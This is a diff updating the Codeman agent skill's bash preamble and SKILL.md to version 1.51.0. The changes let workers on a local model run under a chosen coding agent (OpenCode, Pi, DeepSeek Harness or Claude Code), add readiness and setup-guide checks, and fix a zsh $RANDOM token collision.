# - opencode `┃`: at boot only the composer draws it (1.3.0 and 1.19.5, a prompt pasted
# at the mark was submitted every time).
# - pi `extended-keys`: pi paints its composer rules in its FIRST frame and ignores Enter
# until startup has finished, so its rule is no mark (a prompt sent at it stayed
# unsent, 2 of 2). The last line of its startup is a warning that tmux's
# `extended-keys` option is off, which it is on Codeman's socket: a prompt sent once
# that word showed was submitted, 4 of 4 on pi 1.5.2. It is a side effect, not a
# contract, so a pi that stops printing it fails the spawn (the worker is deleted, never
# handed back on a guess) until LOCAL_READY_MARK names what it draws instead.
# claude takes the claude path below.
mark=$(jq -r --arg m "$mode" '[(.agents // [])[] | select(.cli == $m) | .readyMark // empty][0] // empty' <<<"$lm")
[ -n "$mark" ] || case "$mode" in opencode) mark='┃' ;; pi) mark='extended-keys' ;; esac
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
@@ -384,11 +439,16 @@ spawn_worker() {
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
# pi on the local model: a custom model session gives pi a home of its own, so it would
# ask "Trust project folder?" in EVERY session whose parent folders hold agent skills, with
# Trust preselected, and the task prompt's Enter would answer it. `approveProjectTrust:
# false` starts it with --no-approve: no dialog, and no project code is trusted for anyone.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $m == "pi" and $cm != "" then {piConfig:{approveProjectTrust:false}} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
@@ -405,11 +465,18 @@ spawn_worker() {
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
# No trust dialog and no hook file to vet. opencode and pi have no end-of-turn signal,
# which is exactly why sendwait refuses them (400) and sendmark drives them. A deepseek
# worker reports the end of a turn on the local model too, but sendmark is still the way
# to get its ANSWER: dsh 0.2.2 renamed its transcript file, and until Codeman reads the
# new one `last-response` comes back empty for it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
if [ "$mode" = deepseek ] && _dsh_guide "$sid"; then
echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
delete_session "$sid" >/dev/null; return 1
fi
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
@@ -425,6 +492,10 @@ spawn_worker() {
r=$(_dsh_up "$sid" 45000)
[ "$r" = true ] || { echo "dsh worker $sid never drew a composer: no pane-capable profile, a profile whose composer is not '${DSH_READY_MARK:-❯}' (set DSH_READY_MARK), or a harness that failed to boot -- check GET /api/v1/deepseek/status. Deleted it" >&2
delete_session "$sid" >/dev/null; return 1; }
if _dsh_guide "$sid"; then
echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
delete_session "$sid" >/dev/null; return 1
fi
printf '%s\n' "$sid"; return 0
fi
[ "$mode" = claude ] || { printf '%s\n' "$sid"; return 0; } # no other mode draws a composer to wait on
@@ -572,7 +643,7 @@ sendwait() {
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# every call and every worker (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
@@ -596,7 +667,12 @@ sendmark() {
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
# The token carries six characters of the WORKER's id on top of the second and $RANDOM.
# Those two repeat: in zsh (the shell Claude Code runs on a Mac) every subshell draws the
# SAME $RANDOM until the parent shell reads it, and this line is a subshell. Two sendmark
# calls started in one second for two workers in ONE folder shared a token, and one
# worker's answer file replaced the other's (seen on a Mac, 2026-11-12).
tok=$(printf 'm%x%04x%s' "$(date +%s)" "$RANDOM" "$(printf '%s' "$sid" | tr -cd 'a-f0-9' | cut -c1-6)"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
@@ -683,10 +759,10 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.50.0
CODEMAN_PREAMBLE=1.51.0
PREAMBLE
)
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
```
Every later Bash call that touches the API starts with the same two loader lines from
@@ -737,7 +813,7 @@ and no per-call body to hand-build.
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
N=(alpha beta) # INVENT one fresh case name per worker; never list cases first
# (a name may carry a mode: `beta:deepseek`, see below)
T=('reply with one line: the absolute path of your working directory'
@@ -850,9 +926,25 @@ Three things to know before you spawn one:
When Codeman has installed a model on the Mac it runs on (the **Run a local model** button
on its welcome screen), you can hand work to that model from here. You stay the planner and
the reviewer in the cloud; the Mac does the bulk. `spawn_worker <name> local` starts a worker
on the installed model, run by the coding agent it was installed with (OpenCode on the Mac
it was tested on), and from then on it is the same verbs. It mixes into one fleet like any
other mode: `spawn_workers plan review:deepseek summ:local`.
on the installed model, run by its default coding agent (OpenCode on the Mac it was tested
on), and from then on it is the same verbs. It mixes into one fleet like any other mode:
`spawn_workers plan review:deepseek summ:local`.
**Which coding agent runs the worker is yours to choose.** `local_model` lists them as
`agents`, each with a `status`; `spawn_worker <name> local:<cli>` starts one that is `ready`:
| Worker kind | Agent | Why you would pick it | Drive it with |
| --- | --- | --- | --- |
| `local` | the default one (`cli` of `local_model`) | you have no reason to choose | `sendmark` (`sendwait` when it is claude) |
| `local:opencode` | OpenCode | the tested pair; a full tool set | `sendmark` |
| `local:pi` | Pi | the smallest fixed prompt (about 2,100 tokens against 8,000 and more), so the first answer comes soonest and the most context is left for the work | `sendmark` |
| `local:deepseek` | DeepSeek Harness | the user already works with it | `sendmark` (it reports the end of a turn, but on dsh 0.2.2 its answer cannot be read back through `sendwait` yet) |
| `local:claude` | Claude Code | hooks and `sendwait`, at the price of a first answer that takes minutes | `sendwait` |
An agent whose status is `installable`, `installing` or `setup-needed` is not startable, and
the spawn says so with the ones that are. Installing an agent is a person's click in the
**Run a local model** window, like installing a model: tell the user, do not work around it.
A Codeman older than 1.51 lists no agents, and only plain `local` works there.
Reach for it when:
@@ -866,9 +958,9 @@ Reach for it when:
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
local_model || exit 1 # one JSON line: model, agent, endpoint; or the reason there is none
SID=$(spawn_worker summ local) || exit 1 # starts a stopped runtime first; empty = failed
[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
local_model || exit 1 # one JSON line: model, agents, endpoint; or the reason there is none
SID=$(spawn_worker summ local) || exit 1 # or local:pi, local:deepseek; starts a stopped runtime first; empty = failed
WD=$("${CURL[@]}" "$API/api/v1/sessions/$SID" | jq -r .data.workingDir)
mkdir -p "$WD/input" && cp ./docs/*.md "$WD/input/" # inside its own folder (§5.9), apart from its CLAUDE.md
R=$(sendmark "$SID" 'Summarize each .md file in the folder input, two lines each' 900); RC=$?
@@ -891,8 +983,9 @@ The limits, before you promise the user anything:
- **A Mac with Apple silicon, and a model a person installed** in Codeman's local model
window. This skill never installs one: that is a download of many gigabytes the person
confirms there. `local_model` says what is missing (`not-mac`, `not-installed`,
`install-unfinished`, `blocked`, `admin-only`, `unsupported`), so tell the user that
instead of guessing.
`install-unfinished`, `no-agent`, `blocked`, `admin-only`, `unsupported`), so tell the
user that instead of guessing. It also lists the models on this Mac (`models`); only the
`active` one runs, and switching to another is a person's decision in the window.
- **One model, one request at a time.** The runtime loads one model and answers one request
at a time, so two local workers take turns rather than work side by side. Fan out to the
cloud; give the Mac a queue.
@@ -900,9 +993,20 @@ The limits, before you promise the user anything:
M5 Pro with 48 GB, ran at about 68 tokens a second, and the first request after a start
loads the model first. A local worker run by claude spends minutes on its first answer
(its fixed prompt is about 36,000 tokens).
- **Markers, not hooks.** OpenCode reports no end of turn, so `sendwait` answers 400 for
that worker; `sendmark` is the way through. If the installed agent is claude, the worker
has hooks and `sendwait` works as for any claude worker.
- **Markers, not hooks.** OpenCode and Pi report no end of turn, so `sendwait` answers 400
for those workers; `sendmark` is the way through. A claude worker has hooks, so
`sendwait` works for it. A DeepSeek Harness worker reports its turns too, but drive it
with `sendmark` on the local model: dsh 0.2.2 renamed its transcript file, and Codeman
reads an empty answer from it for now.
- **DeepSeek Harness has a setup guide a person finishes once.** Until then every dsh
session opens on it, and the spawn refuses the worker (and deletes it) instead of typing
a task into a sign-in screen. Tell the user to start one DeepSeek session from the Run
menu and finish the guide.
- **Pi starts without trusting the folder.** A `local:pi` worker is started with
`--no-approve`, so it loads no project extensions or skills from the case folder: on the
local model Pi would otherwise ask to trust the folder in every session, and a task
prompt must never answer that question. Pi also fetches its two search tools at each such
start, which needs the network for a moment.
- **Spawning can change what the person set.** A stopped runtime is started, which also
undoes the person's Stop: it then starts with Codeman again. And while a local worker is
open, the window refuses Stop and Remove and names your workers, so delete them as soon
+102 -26
View File
@@ -1,4 +1,4 @@
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# ---- Codeman agent preamble 1.51.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -59,6 +59,17 @@ _dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness T
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
_dsh_guide() { # <sid> -> 0 when the pane shows dsh-TUI's first-run SETUP GUIDE, not a composer.
# dsh-TUI 0.19.0 opens a guide ("Welcome to dsh-TUI Step 1 of 4") in every session until a
# person has finished it once, and the guide's own cursor is `❯`: the readiness mark matches
# on it (measured, 2 of 2 launches), and an Enter there acts on the highlighted step, which
# is a sign-in. So a worker whose mark matched is still checked for the guide, on the
# RENDERED pane with its whitespace removed, and never handed back while it shows.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/terminal" --data-urlencode 'full=1' \
| jq -r '.data.terminalBuffer // empty' \
| sed -e "s/$(printf '\033')\[[0-9;?]*[a-zA-Z]//g" -e "s/$(printf '\033')[()][AB0]//g" \
| tr -d ' \t' | grep -qi 'Step[0-9]of[0-9]'
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
# "No, exit" by default:
@@ -121,9 +132,18 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>",
# "agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
# {"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
# "models":[{"id":"<id>","label":"<label>","active":true,"status":"ready","sizeGb":"23.1"}]}
# `cli` is the DEFAULT coding agent, the one `spawn_worker <name> local` starts. `agents` is
# every agent the model can be run with: `local:<cli>` starts one whose status is `ready`
# (`installable`, `installing` and `setup-needed` are a person's to resolve in the window).
# `models` is what is on this Mac; only the `active` one runs, and switching is a person's
# decision too. A Codeman older than 1.51 sends neither list: only `local` works there.
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# one of: not-mac, not-installed, install-unfinished, no-agent (installed, but no coding agent
# that can run the model is on this Mac), blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
@@ -139,12 +159,23 @@ local_model() {
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label,
agents:(if ($i.harnesses | type) == "array"
then [$i.harnesses[] | {cli, cliLabel, status, default, readyMark} | with_entries(select(.value != null))]
else null end),
models:(if ($i.library | type) == "array" and ($i.library | length) > 0
then [$i.library[] | {id, label, active, status, sizeGb} | with_entries(select(.value != null))]
else null end)} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# With the agents listed and none of them startable there is nothing to spawn,
# running or not: say that, not "blocked".
if $i.error == null and $base.agents != null and ([$base.agents[] | select(.status == "ready")] | length) == 0
then {spawnable:false, reason:"no-agent",
message:"The model is installed, but no coding agent that can run it is on this Mac. A person installs one in the Run a local model window."} + $base
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
elif ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
@@ -207,31 +238,55 @@ _local_ready_model() {
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# mode `local` is the model Codeman installed on this Mac (local_model), run by its default
# coding agent; `local:<cli>` (`local:pi`, `local:deepseek`, `local:opencode`, `local:claude`)
# picks another one of local_model's `agents`, which must be `ready`. The worker's mode
# becomes that agent, and the endpoint and model ride the quick-start as `customModel`: the
# launch the window's "Start a session" makes. A stopped runtime is started first. Any answer
# that wants a person to confirm something (a context below the agent's safe floor, a model
# swap) fails the spawn: this never confirms on anyone's behalf, and it never installs an
# agent. All local workers share ONE model that answers one request at a time.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark='' want=''
case "$mode" in local:*) want=${mode#local:}; mode=local ;; esac
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
if [ -n "$want" ]; then
# Only an agent the server lists as startable. A Codeman that lists none (older than
# 1.51) knows one agent, its `cli`: naming that one is fine, any other is not.
r=$(jq -r --arg w "$want" 'if (.agents | type) == "array" then ([.agents[] | select(.cli == $w) | .status][0] // "absent")
elif .cli == $w then "ready" else "unlisted" end' <<<"$lm")
case "$r" in
ready) ;;
unlisted) echo "this Codeman lists one coding agent for the local model, $(jq -r .cli <<<"$lm"): use plain \`local\`, or update Codeman to choose another" >&2; return 1 ;;
absent) echo "the local model cannot be run with '$want' here. Startable: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
*) echo "the coding agent '$want' is not startable on this Mac ($r): a person installs or sets it up in the Run a local model window. Startable now: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
esac
mode=$want
else
mode=$(jq -r .cli <<<"$lm")
fi
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
# Readiness is a token the agent's composer draws once it takes input. The server names
# the measured one per agent (`readyMark`: opencode `┃`, deepseek `❯`, claude `shift+tab`).
# For a server that sends none, the two this skill measured itself:
# - opencode `┃`: at boot only the composer draws it (1.3.0 and 1.19.5, a prompt pasted
# at the mark was submitted every time).
# - pi `extended-keys`: pi paints its composer rules in its FIRST frame and ignores Enter
# until startup has finished, so its rule is no mark (a prompt sent at it stayed
# unsent, 2 of 2). The last line of its startup is a warning that tmux's
# `extended-keys` option is off, which it is on Codeman's socket: a prompt sent once
# that word showed was submitted, 4 of 4 on pi 1.5.2. It is a side effect, not a
# contract, so a pi that stops printing it fails the spawn (the worker is deleted, never
# handed back on a guess) until LOCAL_READY_MARK names what it draws instead.
# claude takes the claude path below.
mark=$(jq -r --arg m "$mode" '[(.agents // [])[] | select(.cli == $m) | .readyMark // empty][0] // empty' <<<"$lm")
[ -n "$mark" ] || case "$mode" in opencode) mark='┃' ;; pi) mark='extended-keys' ;; esac
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
@@ -246,11 +301,16 @@ spawn_worker() {
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
# pi on the local model: a custom model session gives pi a home of its own, so it would
# ask "Trust project folder?" in EVERY session whose parent folders hold agent skills, with
# Trust preselected, and the task prompt's Enter would answer it. `approveProjectTrust:
# false` starts it with --no-approve: no dialog, and no project code is trusted for anyone.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $m == "pi" and $cm != "" then {piConfig:{approveProjectTrust:false}} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
@@ -267,11 +327,18 @@ spawn_worker() {
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
# No trust dialog and no hook file to vet. opencode and pi have no end-of-turn signal,
# which is exactly why sendwait refuses them (400) and sendmark drives them. A deepseek
# worker reports the end of a turn on the local model too, but sendmark is still the way
# to get its ANSWER: dsh 0.2.2 renamed its transcript file, and until Codeman reads the
# new one `last-response` comes back empty for it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
if [ "$mode" = deepseek ] && _dsh_guide "$sid"; then
echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
delete_session "$sid" >/dev/null; return 1
fi
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
@@ -287,6 +354,10 @@ spawn_worker() {
r=$(_dsh_up "$sid" 45000)
[ "$r" = true ] || { echo "dsh worker $sid never drew a composer: no pane-capable profile, a profile whose composer is not '${DSH_READY_MARK:-❯}' (set DSH_READY_MARK), or a harness that failed to boot -- check GET /api/v1/deepseek/status. Deleted it" >&2
delete_session "$sid" >/dev/null; return 1; }
if _dsh_guide "$sid"; then
echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
delete_session "$sid" >/dev/null; return 1
fi
printf '%s\n' "$sid"; return 0
fi
[ "$mode" = claude ] || { printf '%s\n' "$sid"; return 0; } # no other mode draws a composer to wait on
@@ -434,7 +505,7 @@ sendwait() {
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# every call and every worker (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
@@ -458,7 +529,12 @@ sendmark() {
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
# The token carries six characters of the WORKER's id on top of the second and $RANDOM.
# Those two repeat: in zsh (the shell Claude Code runs on a Mac) every subshell draws the
# SAME $RANDOM until the parent shell reads it, and this line is a subshell. Two sendmark
# calls started in one second for two workers in ONE folder shared a token, and one
# worker's answer file replaced the other's (seen on a Mac, 2026-11-12).
tok=$(printf 'm%x%04x%s' "$(date +%s)" "$RANDOM" "$(printf '%s' "$sid" | tr -cd 'a-f0-9' | cut -c1-6)"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
@@ -545,4 +621,4 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.50.0
CODEMAN_PREAMBLE=1.51.0
@@ -216,7 +216,10 @@ you typed matches the moment it is typed.
generic marker (`BUILD OK`) matched against stale text, either from `from=buffer`
scanning an earlier run or from tmux replaying old screen content as fresh output on an
attach/resize/redraw. A unique-per-call token (`DONE_$RANDOM`) makes both `from` modes
safe.
safe. ⚠️ In a fan-out put something of the WORKER into it too (its id, the loop index): zsh,
the shell Claude Code runs on a Mac, hands every subshell the same `$RANDOM` until the
parent shell reads it, so `( … $RANDOM … ) &` twice draws one number. `sendmark` adds six
characters of the worker's id for that reason.
### 6. `jq` parse error instead of an `errorCode`
@@ -21,7 +21,7 @@ by sourcing the preamble file the §0 bootstrap wrote, and checking its version
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
```
Do **not** re-paste the preamble body into each call. Sourcing it is what retires the
@@ -831,9 +831,19 @@ can be spawned now (`running: true`) or once `spawn_worker` has started the runt
```json
{"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
"endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B"}
"endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B",
"agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
{"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
"models":[{"id":"qwen3.6:35b-a3b","label":"Qwen3.6 35B-A3B","active":true,"status":"ready","sizeGb":"23.1"}]}
```
`cli` is the default coding agent. `agents` is every agent the model can be run with
(`install.harnesses` of the route): `ready` can be started, `installable` and `installing`
are an install a person makes or made in the window, `setup-needed` is an agent with a setup
of its own (DeepSeek Harness without a terminal profile). `models` is what is on the Mac
(`install.library`); only the `active` one runs. A Codeman older than 1.51 sends neither
list, and both keys are then absent.
Exit 1 carries `reason` and `message` (the server's own sentence where it has one):
| `reason` | What it means | What to tell the user |
@@ -841,6 +851,7 @@ Exit 1 carries `reason` and `message` (the server's own sentence where it has on
| `not-mac` | the server is not on macOS | local models need a Mac with Apple silicon |
| `not-installed` | nothing installed; on a Mac where no model fits, `message` says why | install one with **Run a local model** on the welcome screen |
| `install-unfinished` | a job is installing, paused or failed (`state`, `step`, `errorCode`) | finish it in that window; nothing here continues it |
| `no-agent` | installed, and `agents` holds none that is `ready` | install a coding agent in that window (a chip that says "Not installed") |
| `blocked` | installed, but the server refuses a session now (`errorCode`: `model-changed`, `port-in-use`, `runtime-start-failed`, `runtime-stopped`) | the window shows the one button that helps |
| `admin-only` | multi-user mode, and you are not an admin (403) | ask an admin |
| `unsupported` | the server has no local model routes (404) | it predates the feature |
@@ -849,29 +860,44 @@ Exit 1 carries `reason` and `message` (the server's own sentence where it has on
It never downloads, installs or starts anything. Installing is many gigabytes the person
confirms in the window, and no route this skill calls can do it.
**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), in order:
**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), and
**`spawn_worker <name> local:<cli>`** to choose the coding agent, in order:
1. `local_model`; anything but exit 0 fails the spawn with that reason.
1. `local_model`; anything but exit 0 fails the spawn with that reason. With `local:<cli>`
the agent must be a row of `agents` whose status is `ready`; any other status, or an
agent the model cannot be run with, fails the spawn with the ones that are startable.
On a Codeman that lists no agents only its one `cli` can be named. No agent is ever
installed from here.
2. Runtime stopped: `POST /api/v1/local-model/runtime {"action":"start"}`, what the
